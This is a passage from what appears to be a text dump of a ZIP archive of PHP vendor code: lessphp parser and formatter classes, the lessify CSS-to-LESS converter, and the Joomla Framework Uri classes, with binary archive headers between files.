$method = "expressionList"; $isVararg = false; while (true) { if ($this->literal("...")) { $isVararg = true; break; } if ($this->$method($value)) { if ($value[0] == "variable") { $arg = array("arg", $value[1]); $ss = $this->seek(); if ($this->assign() && $this->$method($rhs)) { $arg[] = $rhs; } else { $this->seek($ss); if ($this->literal("...")) { $arg[0] = "rest"; $isVararg = true; } } $values[] = $arg; if ($isVararg) { break; } continue; } else { $values[] = array("lit", $value); } } if (!$this->literal($delim)) { if ($delim == "," && $this->literal(";")) { // found new delim, convert existing args $delim = ";"; $method = "propertyValue"; // transform arg list if (isset($values[1])) { // 2 items $newList = array(); foreach ($values as $i => $arg) { switch ($arg[0]) { case "arg": if ($i) { $this->throwError("Cannot mix ; and , as delimiter types"); } $newList[] = $arg[2]; break; case "lit": $newList[] = $arg[1]; break; case "rest": $this->throwError("Unexpected rest before semicolon"); } } $newList = array("list", ", ", $newList); switch ($values[0][0]) { case "arg": $newArg = array("arg", $values[0][1], $newList); break; case "lit": $newArg = array("lit", $newList); break; } } elseif ($values) { // 1 item $newArg = $values[0]; } if ($newArg) { $values = array($newArg); } } else { break; } } } if (!$this->literal(')')) { $this->seek($s); return false; } $args = $values; return true; } // consume a list of tags // this accepts a hanging delimiter protected function tags(&$tags, $simple = false, $delim = ',') { $tags = array(); while ($this->tag($tt, $simple)) { $tags[] = $tt; if (!$this->literal($delim)) break; } if (count($tags) == 0) return false; return true; } // list of tags of specifying mixin path // optionally separated by > (lazy, accepts extra >) protected function mixinTags(&$tags) { $tags = array(); while ($this->tag($tt, true)) { $tags[] = $tt; $this->literal(">"); } if (!$tags) { return false; } return true; } // a bracketed value (contained within in a tag definition) protected function tagBracket(&$parts, &$hasExpression) { // speed shortcut if (isset($this->buffer[$this->count]) && $this->buffer[$this->count] != "[") { return false; } $s = $this->seek(); $hasInterpolation = false; if ($this->literal("[", false)) { $attrParts = array("["); // keyword, string, operator while (true) { if ($this->literal("]", false)) { $this->count--; break; // get out early } if ($this->match('\s+', $m)) { $attrParts[] = " "; continue; } if ($this->string($str)) { // escape parent selector, (yuck) foreach ($str[2] as &$chunk) { $chunk = str_replace($this->lessc->parentSelector, "$&$", $chunk); } $attrParts[] = $str; $hasInterpolation = true; continue; } if ($this->keyword($word)) { $attrParts[] = $word; continue; } if ($this->interpolation($inter, false)) { $attrParts[] = $inter; $hasInterpolation = true; continue; } // operator, handles attr namespace too if ($this->match('[|-~\$\*\^=]+', $m)) { $attrParts[] = $m[0]; continue; } break; } if ($this->literal("]", false)) { $attrParts[] = "]"; foreach ($attrParts as $part) { $parts[] = $part; } $hasExpression = $hasExpression || $hasInterpolation; return true; } $this->seek($s); } $this->seek($s); return false; } // a space separated list of selectors protected function tag(&$tag, $simple = false) { if ($simple) { $chars = '^@,:;{}\][>\(\) "\''; } else { $chars = '^@,;{}["\''; } $s = $this->seek(); $hasExpression = false; $parts = array(); while ($this->tagBracket($parts, $hasExpression)); $oldWhite = $this->eatWhiteDefault; $this->eatWhiteDefault = false; while (true) { if ($this->match('(['.$chars.'0-9]['.$chars.']*)', $m)) { $parts[] = $m[1]; if ($simple) break; while ($this->tagBracket($parts, $hasExpression)); continue; } if (isset($this->buffer[$this->count]) && $this->buffer[$this->count] == "@") { if ($this->interpolation($interp)) { $hasExpression = true; $interp[2] = true; // don't unescape $parts[] = $interp; continue; } if ($this->literal("@")) { $parts[] = "@"; continue; } } if ($this->unit($unit)) { // for keyframes $parts[] = $unit[1]; $parts[] = $unit[2]; continue; } break; } $this->eatWhiteDefault = $oldWhite; if (!$parts) { $this->seek($s); return false; } if ($hasExpression) { $tag = array("exp", array("string", "", $parts)); } else { $tag = trim(implode($parts)); } $this->whitespace(); return true; } // a css function protected function func(&$func) { $s = $this->seek(); if ($this->match('(%|[\w\-_][\w\-_:\.]+|[\w_])', $m) && $this->literal('(')) { $fname = $m[1]; $sPreArgs = $this->seek(); $args = array(); while (true) { $ss = $this->seek(); // this ugly nonsense is for ie filter properties if ($this->keyword($name) && $this->literal('=') && $this->expressionList($value)) { $args[] = array("string", "", array($name, "=", $value)); } else { $this->seek($ss); if ($this->expressionList($value)) { $args[] = $value; } } if (!$this->literal(',')) break; } $args = array('list', ',', $args); if ($this->literal(')')) { $func = array('function', $fname, $args); return true; } elseif ($fname == 'url') { // couldn't parse and in url? treat as string $this->seek($sPreArgs); if ($this->openString(")", $string) && $this->literal(")")) { $func = array('function', $fname, $string); return true; } } } $this->seek($s); return false; } // consume a less variable protected function variable(&$name) { $s = $this->seek(); if ($this->literal($this->lessc->vPrefix, false) && ($this->variable($sub) || $this->keyword($name)) ) { if (!empty($sub)) { $name = array('variable', $sub); } else { $name = $this->lessc->vPrefix.$name; } return true; } $name = null; $this->seek($s); return false; } /** * Consume an assignment operator * Can optionally take a name that will be set to the current property name */ protected function assign($name = null) { if ($name) $this->currentProperty = $name; return $this->literal(':') || $this->literal('='); } // consume a keyword protected function keyword(&$word) { if ($this->match('([\w_\-\*!"][\w\-_"]*)', $m)) { $word = $m[1]; return true; } return false; } // consume an end of statement delimiter protected function end() { if ($this->literal(';', false)) { return true; } elseif ($this->count == strlen($this->buffer) || $this->buffer[$this->count] == '}') { // if there is end of file or a closing block next then we don't need a ; return true; } return false; } protected function guards(&$guards) { $s = $this->seek(); if (!$this->literal("when")) { $this->seek($s); return false; } $guards = array(); while ($this->guardGroup($g)) { $guards[] = $g; if (!$this->literal(",")) break; } if (count($guards) == 0) { $guards = null; $this->seek($s); return false; } return true; } // a bunch of guards that are and'd together // TODO rename to guardGroup protected function guardGroup(&$guardGroup) { $s = $this->seek(); $guardGroup = array(); while ($this->guard($guard)) { $guardGroup[] = $guard; if (!$this->literal("and")) break; } if (count($guardGroup) == 0) { $guardGroup = null; $this->seek($s); return false; } return true; } protected function guard(&$guard) { $s = $this->seek(); $negate = $this->literal("not"); if ($this->literal("(") && $this->expression($exp) && $this->literal(")")) { $guard = $exp; if ($negate) $guard = array("negate", $guard); return true; } $this->seek($s); return false; } /* raw parsing functions */ protected function literal($what, $eatWhitespace = null) { if ($eatWhitespace === null) $eatWhitespace = $this->eatWhiteDefault; // shortcut on single letter if (!isset($what[1]) && isset($this->buffer[$this->count])) { if ($this->buffer[$this->count] == $what) { if (!$eatWhitespace) { $this->count++; return true; } // goes below... } else { return false; } } if (!isset(self::$literalCache[$what])) { self::$literalCache[$what] = lessc::preg_quote($what); } return $this->match(self::$literalCache[$what], $m, $eatWhitespace); } protected function genericList(&$out, $parseItem, $delim = "", $flatten = true) { $s = $this->seek(); $items = array(); while ($this->$parseItem($value)) { $items[] = $value; if ($delim) { if (!$this->literal($delim)) break; } } if (count($items) == 0) { $this->seek($s); return false; } if ($flatten && count($items) == 1) { $out = $items[0]; } else { $out = array("list", $delim, $items); } return true; } // advance counter to next occurrence of $what // $until - don't include $what in advance // $allowNewline, if string, will be used as valid char set protected function to($what, &$out, $until = false, $allowNewline = false) { if (is_string($allowNewline)) { $validChars = $allowNewline; } else { $validChars = $allowNewline ? "." : "[^\n]"; } if (!$this->match('('.$validChars.'*?)'.lessc::preg_quote($what), $m, !$until)) return false; if ($until) $this->count -= strlen($what); // give back $what $out = $m[1]; return true; } // try to match something on head of buffer protected function match($regex, &$out, $eatWhitespace = null) { if ($eatWhitespace === null) $eatWhitespace = $this->eatWhiteDefault; $r = '/'.$regex.($eatWhitespace && !$this->writeComments ? '\s*' : '').'/Ais'; if (preg_match($r, $this->buffer, $out, null, $this->count)) { $this->count += strlen($out[0]); if ($eatWhitespace && $this->writeComments) $this->whitespace(); return true; } return false; } // match some whitespace protected function whitespace() { if ($this->writeComments) { $gotWhite = false; while (preg_match(self::$whitePattern, $this->buffer, $m, null, $this->count)) { if (isset($m[1]) && empty($this->seenComments[$this->count])) { $this->append(array("comment", $m[1])); $this->seenComments[$this->count] = true; } $this->count += strlen($m[0]); $gotWhite = true; } return $gotWhite; } else { $this->match("", $m); return strlen($m[0]) > 0; } } // match something without consuming it protected function peek($regex, &$out = null, $from = null) { if (is_null($from)) $from = $this->count; $r = '/'.$regex.'/Ais'; $result = preg_match($r, $this->buffer, $out, null, $from); return $result; } // seek to a spot in the buffer or return where we are on no argument protected function seek($where = null) { if ($where === null) return $this->count; else $this->count = $where; return true; } /* misc functions */ public function throwError($msg = "parse error", $count = null) { $count = is_null($count) ? $this->count : $count; $line = $this->line + substr_count(substr($this->buffer, 0, $count), "\n"); if (!empty($this->sourceName)) { $loc = "$this->sourceName on line $line"; } else { $loc = "line: $line"; } // TODO this depends on $this->count if ($this->peek("(.*?)(\n|$)", $m, $count)) { throw new exception("$msg: failed at `$m[1]` $loc"); } else { throw new exception("$msg: $loc"); } } protected function pushBlock($selectors = null, $type = null) { $b = new stdclass; $b->parent = $this->env; $b->type = $type; $b->id = self::$nextBlockId++; $b->isVararg = false; // TODO: kill me from here $b->tags = $selectors; $b->props = array(); $b->children = array(); $this->env = $b; return $b; } // push a block that doesn't multiply tags protected function pushSpecialBlock($type) { return $this->pushBlock(null, $type); } // append a property to the current block protected function append($prop, $pos = null) { if ($pos !== null) $prop[-1] = $pos; $this->env->props[] = $prop; } // pop something off the stack protected function pop() { $old = $this->env; $this->env = $this->env->parent; return $old; } // remove comments from $text // todo: make it work for all functions, not just url protected function removeComments($text) { $look = array( 'url(', '//', '/*', '"', "'" ); $out = ''; $min = null; while (true) { // find the next item foreach ($look as $token) { $pos = strpos($text, $token); if ($pos !== false) { if (!isset($min) || $pos < $min[1]) $min = array($token, $pos); } } if (is_null($min)) break; $count = $min[1]; $skip = 0; $newlines = 0; switch ($min[0]) { case 'url(': if (preg_match('/url\(.*?\)/', $text, $m, 0, $count)) $count += strlen($m[0]) - strlen($min[0]); break; case '"': case "'": if (preg_match('/'.$min[0].'.*?(?<!\\\\)'.$min[0].'/', $text, $m, 0, $count)) $count += strlen($m[0]) - 1; break; case '//': $skip = strpos($text, "\n", $count); if ($skip === false) $skip = strlen($text) - $count; else $skip -= $count; break; case '/*': if (preg_match('/\/\*.*?\*\//s', $text, $m, 0, $count)) { $skip = strlen($m[0]); $newlines = substr_count($m[0], "\n"); } break; } if ($skip == 0) $count += strlen($min[0]); $out .= substr($text, 0, $count).str_repeat("\n", $newlines); $text = substr($text, $count + $skip); $min = null; } return $out.$text; } } class lessc_formatter_classic { public $indentChar = " "; public $break = "\n"; public $open = " {"; public $close = "}"; public $selectorSeparator = ", "; public $assignSeparator = ":"; public $openSingle = " { "; public $closeSingle = " }"; public $disableSingle = false; public $breakSelectors = false; public $compressColors = false; public function __construct() { $this->indentLevel = 0; } public function indentStr($n = 0) { return str_repeat($this->indentChar, max($this->indentLevel + $n, 0)); } public function property($name, $value) { return $name . $this->assignSeparator . $value . ";"; } protected function isEmpty($block) { if (empty($block->lines)) { foreach ($block->children as $child) { if (!$this->isEmpty($child)) return false; } return true; } return false; } public function block($block) { if ($this->isEmpty($block)) return; $inner = $pre = $this->indentStr(); $isSingle = !$this->disableSingle && is_null($block->type) && count($block->lines) == 1; if (!empty($block->selectors)) { $this->indentLevel++; if ($this->breakSelectors) { $selectorSeparator = $this->selectorSeparator . $this->break . $pre; } else { $selectorSeparator = $this->selectorSeparator; } echo $pre . implode($selectorSeparator, $block->selectors); if ($isSingle) { echo $this->openSingle; $inner = ""; } else { echo $this->open . $this->break; $inner = $this->indentStr(); } } if (!empty($block->lines)) { $glue = $this->break.$inner; echo $inner . implode($glue, $block->lines); if (!$isSingle && !empty($block->children)) { echo $this->break; } } foreach ($block->children as $child) { $this->block($child); } if (!empty($block->selectors)) { if (!$isSingle && empty($block->children)) echo $this->break; if ($isSingle) { echo $this->closeSingle . $this->break; } else { echo $pre . $this->close . $this->break; } $this->indentLevel--; } } } class lessc_formatter_compressed extends lessc_formatter_classic { public $disableSingle = true; public $open = "{"; public $selectorSeparator = ","; public $assignSeparator = ":"; public $break = ""; public $compressColors = true; public function indentStr($n = 0) { return ""; } } class lessc_formatter_lessjs extends lessc_formatter_classic { public $disableSingle = true; public $breakSelectors = true; public $assignSeparator = ": "; public $selectorSeparator = ","; } PKÜ�\��1d2d2$vendor/leafo/lessphp/lessify.inc.phpnu�[���<?php /** * lessify * Convert a css file into a less file * http://leafo.net/lessphp * Copyright 2010, leaf corcoran <leafot@gmail.com> * * WARNING: THIS DOES NOT WORK ANYMORE. NEEDS TO BE UPDATED FOR * LATEST VERSION OF LESSPHP. * */ require "lessc.inc.php"; // // check if the merge during mixin is overwriting values. should or should it not? // // // 1. split apart class tags // class easyparse { public $buffer; public $count; public function __construct($str) { $this->count = 0; $this->buffer = trim($str); } public function seek($where = null) { if ($where === null) { return $this->count; } $this->count = $where; return true; } public function preg_quote($what) { return preg_quote($what, '/'); } public function match($regex, &$out, $eatWhitespace = true) { $r = '/'.$regex.($eatWhitespace ? '\s*' : '').'/Ais'; if (preg_match($r, $this->buffer, $out, null, $this->count)) { $this->count += strlen($out[0]); return true; } return false; } public function literal($what, $eatWhitespace = true) { // this is here mainly prevent notice from { } string accessor if ($this->count >= strlen($this->buffer)) return false; // shortcut on single letter if (!$eatWhitespace and strlen($what) === 1) { if ($this->buffer{$this->count} == $what) { $this->count++; return true; } return false; } return $this->match($this->preg_quote($what), $m, $eatWhitespace); } } class tagparse extends easyparse { private static $combinators = null; private static $match_opts = null; public function parse() { if (empty(self::$combinators)) { self::$combinators = '(' . implode('|', array_map(array($this, 'preg_quote'), array('+', '>', '~'))).')'; self::$match_opts = '(' . implode('|', array_map(array($this, 'preg_quote'), array('=', '~=', '|=', '$=', '*='))) . ')'; } // crush whitespace $this->buffer = preg_replace('/\s+/', ' ', $this->buffer) . ' '; $tags = array(); while ($this->tag($t)) { $tags[] = $t; } return $tags; } public static function compileString($string) { list(, $delim, $str) = $string; $str = str_replace($delim, "\\" . $delim, $str); $str = str_replace("\n", "\\\n", $str); return $delim . $str . $delim; } public static function compilePaths($paths) { return implode(', ', array_map(array('self', 'compilePath'), $paths)); } // array of tags public static function compilePath($path) { return implode(' ', array_map(array('self', 'compileTag'), $path)); } public static function compileTag($tag) { ob_start(); if (isset($tag['comb'])) echo $tag['comb'] . " "; if (isset($tag['front'])) echo $tag['front']; if (isset($tag['attr'])) { echo '[' . $tag['attr']; if (isset($tag['op'])) { echo $tag['op'] . $tag['op_value']; } echo ']'; } return ob_get_clean(); } public function string(&$out) { $s = $this->seek(); if ($this->literal('"')) { $delim = '"'; } elseif ($this->literal("'")) { $delim = "'"; } else { return false; } while (true) { // step through letters looking for either end or escape $buff = ""; $escapeNext = false; $finished = false; for ($i = $this->count; $i < strlen($this->buffer); $i++) { $char = $this->buffer[$i]; switch ($char) { case $delim: if ($escapeNext) { $buff .= $char; $escapeNext = false; break; } $finished = true; break 2; case "\\": if ($escapeNext) { $buff .= $char; $escapeNext = false; } else { $escapeNext = true; } break; case "\n": if (!$escapeNext) { break 3; } $buff .= $char; $escapeNext = false; break; default: if ($escapeNext) { $buff .= "\\"; $escapeNext = false; } $buff .= $char; } } if (!$finished) break; $out = array('string', $delim, $buff); $this->seek($i+1); return true; } $this->seek($s); return false; } public function tag(&$out) { $s = $this->seek(); $tag = array(); if ($this->combinator($op)) $tag['comb'] = $op; if (!$this->match('(.*?)( |$|\[|'.self::$combinators.')', $match)) { $this->seek($s); return false; } if (!empty($match[3])) { // give back combinator $this->count-=strlen($match[3]); } if (!empty($match[1])) $tag['front'] = $match[1]; if ($match[2] == '[') { if ($this->ident($i)) { $tag['attr'] = $i; if ($this->match(self::$match_opts, $m) && $this->value($v)) { $tag['op'] = $m[1]; $tag['op_value'] = $v; } if ($this->literal(']')) { $out = $tag; return true; } } } elseif (isset($tag['front'])) { $out = $tag; return true; } $this->seek($s); return false; } public function ident(&$out) { // [-]?{nmstart}{nmchar}* // nmstart: [_a-z]|{nonascii}|{escape} // nmchar: [_a-z0-9-]|{nonascii}|{escape} if ($this->match('(-?[_a-z][_\w]*)', $m)) { $out = $m[1]; return true; } return false; } public function value(&$out) { if ($this->string($str)) { $out = $this->compileString($str); return true; } elseif ($this->ident($id)) { $out = $id; return true; } return false; } public function combinator(&$op) { if ($this->match(self::$combinators, $m)) { $op = $m[1]; return true; } return false; } } class nodecounter { public $count = 0; public $children = array(); public $name; public $child_blocks; public $the_block; public function __construct($name) { $this->name = $name; } public function dump($stack = null) { if (is_null($stack)) $stack = array(); $stack[] = $this->getName(); echo implode(' -> ', $stack) . " ($this->count)\n"; foreach ($this->children as $child) { $child->dump($stack); } } public static function compileProperties($c, $block) { foreach ($block as $name => $value) { if ($c->isProperty($name, $value)) { echo $c->compileProperty($name, $value) . "\n"; } } } public function compile($c, $path = null) { if (is_null($path)) $path = array(); $path[] = $this->name; $isVisible = !is_null($this->the_block) || !is_null($this->child_blocks); if ($isVisible) { echo $c->indent(implode(' ', $path) . ' {'); $c->indentLevel++; $path = array(); if ($this->the_block) { $this->compileProperties($c, $this->the_block); } if ($this->child_blocks) { foreach ($this->child_blocks as $block) { echo $c->indent(tagparse::compilePaths($block['__tags']).' {'); $c->indentLevel++; $this->compileProperties($c, $block); $c->indentLevel--; echo $c->indent('}'); } } } // compile child nodes foreach ($this->children as $node) { $node->compile($c, $path); } if ($isVisible) { $c->indentLevel--; echo $c->indent('}'); } } public function getName() { if (is_null($this->name)) return "[root]"; else return $this->name; } public function getNode($name) { if (!isset($this->children[$name])) { $this->children[$name] = new nodecounter($name); } return $this->children[$name]; } public function findNode($path) { $current = $this; for ($i = 0; $i < count($path); $i++) { $t = tagparse::compileTag($path[$i]); $current = $current->getNode($t); } return $current; } public function addBlock($path, $block) { $node = $this->findNode($path); if (!is_null($node->the_block)) throw new exception("can this happen?"); unset($block['__tags']); $node->the_block = $block; } public function addToNode($path, $block) { $node = $this->findNode($path); $node->child_blocks[] = $block; } } /** * create a less file from a css file by combining blocks where appropriate */ class lessify extends lessc { public function dump() { print_r($this->env); } public function parse($str = null) { $this->prepareParser($str ? $str : $this->buffer); while (false !== $this->parseChunk()); $root = new nodecounter(null); // attempt to preserve some of the block order $order = array(); $visitedTags = array(); foreach (end($this->env) as $name => $block) { if (!$this->isBlock($name, $block)) continue; if (isset($visitedTags[$name])) continue; foreach ($block['__tags'] as $t) { $visitedTags[$t] = true; } // skip those with more than 1 if (count($block['__tags']) == 1) { $p = new tagparse(end($block['__tags'])); $path = $p->parse(); $root->addBlock($path, $block); $order[] = array('compressed', $path, $block); continue; } else { $common = null; $paths = array(); foreach ($block['__tags'] as $rawtag) { $p = new tagparse($rawtag); $paths[] = $path = $p->parse(); if (is_null($common)) $common = $path; else { $new_common = array(); foreach ($path as $tag) { $head = array_shift($common); if ($tag == $head) { $new_common[] = $head; } else break; } $common = $new_common; if (empty($common)) { // nothing in common break; } } } if (!empty($common)) { $new_paths = array(); foreach ($paths as $p) $new_paths[] = array_slice($p, count($common)); $block['__tags'] = $new_paths; $root->addToNode($common, $block); $order[] = array('compressed', $common, $block); continue; } } $order[] = array('none', $block['__tags'], $block); } $compressed = $root->children; foreach ($order as $item) { list($type, $tags, $block) = $item; if ($type == 'compressed') { $top = tagparse::compileTag(reset($tags)); if (isset($compressed[$top])) { $compressed[$top]->compile($this); unset($compressed[$top]); } } else { echo $this->indent(implode(', ', $tags).' {'); $this->indentLevel++; nodecounter::compileProperties($this, $block); $this->indentLevel--; echo $this->indent('}'); } } } } PKÜ�\���/��vendor/leafo/lessphp/lessifynu�[���#!/usr/bin/env php <?php if (php_sapi_name() != "cli") { err($fa.$argv[0]." must be run in the command line."); exit(1); } $exe = array_shift($argv); // remove filename if (!$fname = array_shift($argv)) { exit("Usage: ".$exe." input-file\n"); } require "lessify.inc.php"; try { $parser = new lessify($fname); echo $parser->parse(); } catch (exception $e) { exit("Fatal error: ".$e->getMessage()."\n"); } PKÜ�\�S��\\&vendor/joomla/uri/src/UriInterface.phpnu�[���<?php /** * Part of the Joomla Framework Uri Package * * @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Uri; /** * Uri Interface * * Interface for read-only access to Uris. * * @since 1.0 */ interface UriInterface { /** * Include the scheme (http, https, etc.) * * @var integer * @since 1.2.0 */ const SCHEME = 1; /** * Include the user * * @var integer * @since 1.2.0 */ const USER = 2; /** * Include the password * * @var integer * @since 1.2.0 */ const PASS = 4; /** * Include the host * * @var integer * @since 1.2.0 */ const HOST = 8; /** * Include the port * * @var integer * @since 1.2.0 */ const PORT = 16; /** * Include the path * * @var integer * @since 1.2.0 */ const PATH = 32; /** * Include the query string * * @var integer * @since 1.2.0 */ const QUERY = 64; /** * Include the fragment * * @var integer * @since 1.2.0 */ const FRAGMENT = 128; /** * Include all available url parts (scheme, user, pass, host, port, path, query, fragment) * * @var integer * @since 1.2.0 */ const ALL = 255; /** * Magic method to get the string representation of the URI object. * * @return string * * @since 1.0 */ public function __toString(); /** * Returns full uri string. * * @param array $parts An array of strings specifying the parts to render. * * @return string The rendered URI string. * * @since 1.0 */ public function toString(array $parts = array('scheme', 'user', 'pass', 'host', 'port', 'path', 'query', 'fragment')); /** * Checks if variable exists. * * @param string $name Name of the query variable to check. * * @return boolean True if the variable exists. * * @since 1.0 */ public function hasVar($name); /** * Returns a query variable by name. * * @param string $name Name of the query variable to get. * @param string $default Default value to return if the variable is not set. * * @return array Query variables. * * @since 1.0 */ public function getVar($name, $default = null); /** * Returns flat query string. * * @param boolean $toArray True to return the query as a key => value pair array. * * @return string Query string. * * @since 1.0 */ public function getQuery($toArray = false); /** * Get URI scheme (protocol) * ie. http, https, ftp, etc... * * @return string The URI scheme. * * @since 1.0 */ public function getScheme(); /** * Get URI username * Returns the username, or null if no username was specified. * * @return string The URI username. * * @since 1.0 */ public function getUser(); /** * Get URI password * Returns the password, or null if no password was specified. * * @return string The URI password. * * @since 1.0 */ public function getPass(); /** * Get URI host * Returns the hostname/ip or null if no hostname/ip was specified. * * @return string The URI host. * * @since 1.0 */ public function getHost(); /** * Get URI port * Returns the port number, or null if no port was specified. * * @return integer The URI port number. * * @since 1.0 */ public function getPort(); /** * Gets the URI path string. * * @return string The URI path string. * * @since 1.0 */ public function getPath(); /** * Get the URI anchor string * Everything after the "#". * * @return string The URI anchor string. * * @since 1.0 */ public function getFragment(); /** * Checks whether the current URI is using HTTPS. * * @return boolean True if using SSL via HTTPS. * * @since 1.0 */ public function isSsl(); } PKÜ�\�,#vendor/joomla/uri/src/UriHelper.phpnu�[���<?php /** * Part of the Joomla Framework Uri Package * * @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Uri; /** * Uri Helper * * This class provides a UTF-8 safe version of parse_url(). * * @since 1.0 */ class UriHelper { /** * Does a UTF-8 safe version of PHP parse_url function * * @param string $url URL to parse * * @return array|boolean Associative array or false if badly formed URL. * * @link https://www.php.net/manual/en/function.parse-url.php * @since 1.0 */ public static function parse_url($url) { $result = array(); // Build arrays of values we need to decode before parsing $entities = array('%21', '%2A', '%27', '%28', '%29', '%3B', '%3A', '%40', '%26', '%3D', '%24', '%2C', '%2F', '%3F', '%23', '%5B', '%5D'); $replacements = array('!', '*', "'", '(', ')', ';', ':', '@', '&', '=', '$', ',', '/', '?', '#', '[', ']'); // Create encoded URL with special URL characters decoded so it can be parsed // All other characters will be encoded $encodedURL = str_replace($entities, $replacements, urlencode($url)); // Parse the encoded URL $encodedParts = parse_url($encodedURL); // Now, decode each value of the resulting array if ($encodedParts) { foreach ($encodedParts as $key => $value) { $result[$key] = urldecode(str_replace($replacements, $entities, $value)); } } return count($result) > 0 ? $result : false; } } PKÜ�\�����vendor/joomla/uri/src/Uri.phpnu�[���<?php /** * Part of the Joomla Framework Uri Package * * @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Uri; /** * Uri Class * * This class parses a URI and provides a common interface for the Joomla Framework * to access and manipulate a URI. * * @since 1.0 */ class Uri extends AbstractUri { /** * Adds a query variable and value, replacing the value if it * already exists and returning the old value. * * @param string $name Name of the query variable to set. * @param string $value Value of the query variable. * * @return string Previous value for the query variable. * * @since 1.0 */ public function setVar($name, $value) { $tmp = isset($this->vars[$name]) ? $this->vars[$name] : null; $this->vars[$name] = $value; // Empty the query $this->query = null; return $tmp; } /** * Removes an item from the query string variables if it exists. * * @param string $name Name of variable to remove. * * @return void * * @since 1.0 */ public function delVar($name) { if (array_key_exists($name, $this->vars)) { unset($this->vars[$name]); // Empty the query $this->query = null; } } /** * Sets the query to a supplied string in format: * foo=bar&x=y * * @param mixed $query The query string or array. * * @return void * * @since 1.0 */ public function setQuery($query) { if (\is_array($query)) { $this->vars = $query; } else { if (strpos($query, '&') !== false) { $query = str_replace('&', '&', $query); } parse_str($query, $this->vars); } // Empty the query $this->query = null; } /** * Set URI scheme (protocol) * ie. http, https, ftp, etc... * * @param string $scheme The URI scheme. * * @return void * * @since 1.0 */ public function setScheme($scheme) { $this->scheme = $scheme; } /** * Set URI username. * * @param string $user The URI username. * * @return void * * @since 1.0 */ public function setUser($user) { $this->user = $user; } /** * Set URI password. * * @param string $pass The URI password. * * @return void * * @since 1.0 */ public function setPass($pass) { $this->pass = $pass; } /** * Set URI host. * * @param string $host The URI host. * * @return void * * @since 1.0 */ public function setHost($host) { $this->host = $host; } /** * Set URI port. * * @param integer $port The URI port number. * * @return void * * @since 1.0 */ public function setPort($port) { $this->port = $port; } /** * Set the URI path string. * * @param string $path The URI path string. * * @return void * * @since 1.0 */ public function setPath($path) { $this->path = $this->cleanPath($path); } /** * Set the URI anchor string * everything after the "#". * * @param string $anchor The URI anchor string. * * @return void * * @since 1.0 */ public function setFragment($anchor) { $this->fragment = $anchor; } } PKÜ�\�%.m"m"%vendor/joomla/uri/src/AbstractUri.phpnu�[���<?php /** * Part of the Joomla Framework Uri Package * * @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Uri; /** * Uri Class * * Abstract base for out uri classes. * * This class should be considered an implementation detail. Typehint against UriInterface. * * @since 1.0 */ abstract class AbstractUri implements UriInterface { /** * @var string Original URI * @since 1.0 */ protected $uri; /** * @var string Protocol * @since 1.0 */ protected $scheme; /** * @var string Host * @since 1.0 */ protected $host; /** * @var integer Port * @since 1.0 */ protected $port; /** * @var string Username * @since 1.0 */ protected $user; /** * @var string Password * @since 1.0 */ protected $pass; /** * @var string Path * @since 1.0 */ protected $path; /** * @var string Query * @since 1.0 */ protected $query; /** * @var string Anchor * @since 1.0 */ protected $fragment; /** * @var array Query variable hash * @since 1.0 */ protected $vars = array(); /** * Constructor. * You can pass a URI string to the constructor to initialise a specific URI. * * @param string $uri The optional URI string * * @since 1.0 */ public function __construct($uri = null) { if ($uri !== null) { $this->parse($uri); } } /** * Magic method to get the string representation of the URI object. * * @return string * * @since 1.0 */ public function __toString() { return $this->toString(); } /** * Returns full uri string. * * @param array $parts An array of strings specifying the parts to render. * * @return string The rendered URI string. * * @since 1.0 */ public function toString(array $parts = array('scheme', 'user', 'pass', 'host', 'port', 'path', 'query', 'fragment')) { $bitmask = 0; foreach ($parts as $part) { $const = 'static::' . strtoupper($part); if (\defined($const)) { $bitmask |= \constant($const); } } return $this->render($bitmask); } /** * Returns full uri string. * * @param integer $parts A bitmask specifying the parts to render. * * @return string The rendered URI string. * * @since 1.2.0 */ public function render($parts = self::ALL) { // Make sure the query is created $query = $this->getQuery(); $uri = ''; $uri .= $parts & static::SCHEME ? (!empty($this->scheme) ? $this->scheme . '://' : '') : ''; $uri .= $parts & static::USER ? $this->user : ''; $uri .= $parts & static::PASS ? (!empty($this->pass) ? ':' : '') . $this->pass . (!empty($this->user) ? '@' : '') : ''; $uri .= $parts & static::HOST ? $this->host : ''; $uri .= $parts & static::PORT ? (!empty($this->port) ? ':' : '') . $this->port : ''; $uri .= $parts & static::PATH ? $this->path : ''; $uri .= $parts & static::QUERY ? (!empty($query) ? '?' . $query : '') : ''; $uri .= $parts & static::FRAGMENT ? (!empty($this->fragment) ? '#' . $this->fragment : '') : ''; return $uri; } /** * Checks if variable exists. * * @param string $name Name of the query variable to check. * * @return boolean True if the variable exists. * * @since 1.0 */ public function hasVar($name) { return array_key_exists($name, $this->vars); } /** * Returns a query variable by name. * * @param string $name Name of the query variable to get. * @param string $default Default value to return if the variable is not set. * * @return mixed Value of the specified query variable. * * @since 1.0 */ public function getVar($name, $default = null) { if (array_key_exists($name, $this->vars)) { return $this->vars[$name]; } return $default; } /** * Returns flat query string. * * @param boolean $toArray True to return the query as a key => value pair array. * * @return string|array Query string or Array of parts in query string depending on the function param * * @since 1.0 */ public function getQuery($toArray = false) { if ($toArray) { return $this->vars; } // If the query is empty build it first if ($this->query === null) { $this->query = self::buildQuery($this->vars); } return $this->query; } /** * Get URI scheme (protocol) * ie. http, https, ftp, etc... * * @return string The URI scheme. * * @since 1.0 */ public function getScheme() { return $this->scheme; } /** * Get URI username * Returns the username, or null if no username was specified. * * @return string The URI username. * * @since 1.0 */ public function getUser() { return $this->user; } /** * Get URI password * Returns the password, or null if no password was specified. * * @return string The URI password. * * @since 1.0 */ public function getPass() { return $this->pass; } /** * Get URI host * Returns the hostname/ip or null if no hostname/ip was specified. * * @return string The URI host. * * @since 1.0 */ public function getHost() { return $this->host; } /** * Get URI port * Returns the port number, or null if no port was specified. * * @return integer The URI port number. * * @since 1.0 */ public function getPort() { return (isset($this->port)) ? $this->port : null; } /** * Gets the URI path string. * * @return string The URI path string. * * @since 1.0 */ public function getPath() { return $this->path; } /** * Get the URI anchor string * Everything after the "#". * * @return string The URI anchor string. * * @since 1.0 */ public function getFragment() { return 